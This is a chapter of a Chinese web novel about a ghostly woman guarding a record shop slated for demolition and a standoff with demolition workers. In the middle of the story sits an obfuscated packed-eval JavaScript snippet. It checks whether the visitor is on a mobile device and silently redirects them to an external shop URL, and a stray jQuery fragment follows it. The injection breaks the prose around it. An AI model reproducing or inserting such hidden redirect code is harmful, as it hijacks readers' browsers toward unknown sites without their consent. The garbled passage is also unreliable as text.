唱片店门口的那张纸，我每次来都能看到。
纸是白的，但日子久了变成了黄的，边角翘起来，被风吹得一抖一抖。上面写着"拆迁通知"，下面有一个日期。我不认识数字，但我能感觉到那个日期在变。每次来的时候，它离"现在"更近了一点。纸的边缘被雨水泡过，起了一层毛毛的皱，像老人手上的皮肤。
梨枝不走。
她每天还是坐在那张旧沙发上，擦唱片，擦完一张放下，拿起下一张，再擦。她的动作从来没有变过，从中心往外，一圈一圈。像她自己也是一张唱片，在同一个轨道上转。
我来过很多次了。有时候沈鹿栖陪我来，有时候我自己来。每次来的时候，梨枝都在擦唱片。唱片已经擦了很多遍了，有些唱片的表面被擦得发亮，像镜子一样能照出人的影子。但她还是擦。
"你为什么不走？"我蹲在她旁边问她。
"他让我等。"
"可是他已经……"
"我知道。"她把一张唱片放回架子上，手指在唱片边缘停了一下。停的时间比以前长了一点，大概有三秒钟。"但他让我等。"
我不太理解这个逻辑。对我来说，"等"是有尽头的。等到有人来，或者等到自己消失。等完了就不用等了。就像以前我等着有人来用我，来了我就醒了，不来我就继续睡着。等是一个有结果的动作。
梨枝的"等"没有尽头。像一条走廊，你往前走，走廊就往前延伸，永远走不到头。你回头看，走廊在你身后合上了，也回不去。
她知道自己在等一个不会回来的人。她知道。但她还是等。
这大概就是人类说的"执念"。我不太理解，但我能感觉到那种东西的重量。它压在梨枝身上，让她坐得更直，让她的手不停地擦唱片，让她的声音带着底噪。底噪是执念的声音。执念越重，底噪越响。
---
那天下午，有人来了。
我正在店里看梨枝擦唱片。外面的阳光从门缝里漏进来，在地板上画了一条细细的线。灰尘在光线里飘，慢慢地，不着急。
然后门被推开了。
三个人。穿着黄色的背心，戴着硬壳帽子，手里拿着工具。工具是铁的，长长的，一头尖一头平。尖的那头在阳光下反着光。
他们推门进来的时候，门嘎吱响了一声，比平时响。大概是因为他们推的力气比我大。门撞到里面的墙上，又弹回来，被带头的人用手挡住了。
梨枝坐在沙发上没动。她正在擦一张唱片，手停在唱片中间，没抬起来。
带头的那个人看到她，愣了一下。他大概没想到这个要拆的店里还有人。他的帽子戴得有点歪，帽檐压在眉毛上面，露出一截额头，额头上有一道疤。
"大姐，这里要拆了，您得搬走。"
梨枝看了他一眼。那一眼很短，不到一秒钟，然后她把目光收回来，继续擦唱片。
"我等他回来。"
三个人互相看了一眼。我蹲在角落里，能感觉到他们的情绪。不是愤怒，是一种"遇到了一个脑子不清楚的人"的无奈。他们的身体语言变了，肩膀松下来，工具从肩膀上放下来，拄在地上。其中一个人还叹了口气。
带头的人挥了挥手，另外两个人开始搬架子上的唱片。他们搬的方式很粗，唱片竖着摞在一起，两手一抱，往箱子里一放。唱片碰到箱子底，发出咚的一声。
梨枝站了起来。
她站起来的那一瞬间，店里的温度降了。不是慢慢降的，是突然的，像有人打开了冰箱门。我胳膊上的皮肤起了一层颗粒，密密麻麻的。连呼吸都变了，呼出来的气变成了白色的雾。
那两个搬唱片的人也感觉到了。他们的手停在半空，抓着唱片，没动。其中一个回头看了一眼带头的人，眼神里有一点慌。
"不要碰。"梨枝开口了。
她的声音变了。不是平时那种带着底噪的冷淡声音，是更大的，更重的，像好几张唱片在同时播放，每一张的底噪叠在一起，嗡嗡的，震得空气都在抖。那个声音从她身上散发出来，像水波一样扩散，碰到墙壁弹回来，又碰到另一面墙，反复叠加。
"那些是他留下的。"
那两个人被她的声音吓到了，退了一步。唱片从手里滑出来，掉在地上，转了两圈，停了。唱片的表面磕在地板上，多了一道新的划痕。
我看到梨枝的手在抖。不是害怕那种抖，是更深层的，从身体里面传出来的震动。她的旗袍下摆在抖，像有风吹过，但店里没有风。旗袍上的暗纹在抖动中时隐时现，像水面下的鱼影。
然后我看到了她的左耳。
那个唱片孔的位置，有什么东西在转。很细小的，肉眼几乎看不到的旋转。像有什么东西在她的身体里面转动，转得很快，快到只留下一个模糊的影子。那个影子在孔的边缘闪，一闪一闪的，像信号灯。
带头的那个人脾气硬，咬了咬牙，挥了挥手，让另外两个人继续搬。
沈鹿栖走进去了。
她一直站在门口，从头到尾都没有动。她的手扶着门框，指关节发白。但现在她走进去了，走到那三个人面前。她的步子不快，但每一步都踩得很实，木地板嘎吱嘎吱地响。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814709|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>"等一下。"
"你谁啊？"
"我是她的……"沈鹿栖停了一下。她看了梨枝一眼，又看了看那三个人。梨枝的手还在抖，底噪还在嗡嗡地响。"朋友。能给我们三天时间吗？三天以后我们自己搬。"
那三个人看了看她，又看了看梨枝。梨枝的旗袍下摆还在抖，底噪小了一点，但还在。空气里的冷意也淡了一点，但还是冷。
带头的人想了想。他的目光在沈鹿栖脸上停了两秒钟，然后点了点头。
"三天。三天以后我们来收。"
他们走了。门嘎吱响了一声，关上了。关上以后，店里暗了一点，只有门缝里漏进来的光。
---
店里安静下来。
梨枝坐回沙发上。她的手还在抖，唱片拿不稳，差点从手里滑下去。她把唱片放在膝盖上，两只手按着，等抖停下来。按了大概有一分钟，手才不抖了。
我蹲在她旁边，不知道该说什么。我想伸手碰她，但又不敢。我不知道她愿不愿意被碰到。我看了看她的脸，她的表情没什么变化，还是那种冷淡的、端正的表情，像什么都没发生过。但她的眼睛比刚才暗了一点。
我蹲在那里，看着她按唱片的手。她的手指很长，指甲修得很短，指腹的纹路已经模糊了，像被磨过的石头。她的手按在唱片上，唱片的黑色表面映着她的手指的影子。
“梨枝。”我小声叫她。
她没抬头。
“你的手还在抖。”
她低头看了看自己的手。手确实在抖，抖得很轻，但一直在。她把两只手攥在一起，攥了一会儿，松开。松开以后还是在抖。
“没事。”她说。声音的底噪比平时重。
沈鹿栖站在门口，看着外面。
我也往外看了一眼。巷子的另一头，站着一个人。
那个人穿着灰色的外套，外套有点大，肩膀那里塌下来一块。他手里拿着一只怀表，圆圆的，盖子开着，他正在看表盘上的什么东西。他的手指搭在怀表的边缘，很细，指甲剪得很短。
他没有走近。只是站在那里，看着唱片店的方向。他的脸我看不清楚，太远了，只有一个轮廓。但他的姿态很安静，像在等什么。
沈鹿栖和他对视了一秒钟。那个人把怀表合上，揣进口袋，转身走了。他走的时候脚步很轻，几乎没有声音，像踩在棉花上。
沈鹿栖没有告诉我和梨枝。
但我看到她的手攥了一下。攥得很快，松得也很快。她的手指松开以后，掌心有四个红红的指甲印。
她记住了那个人。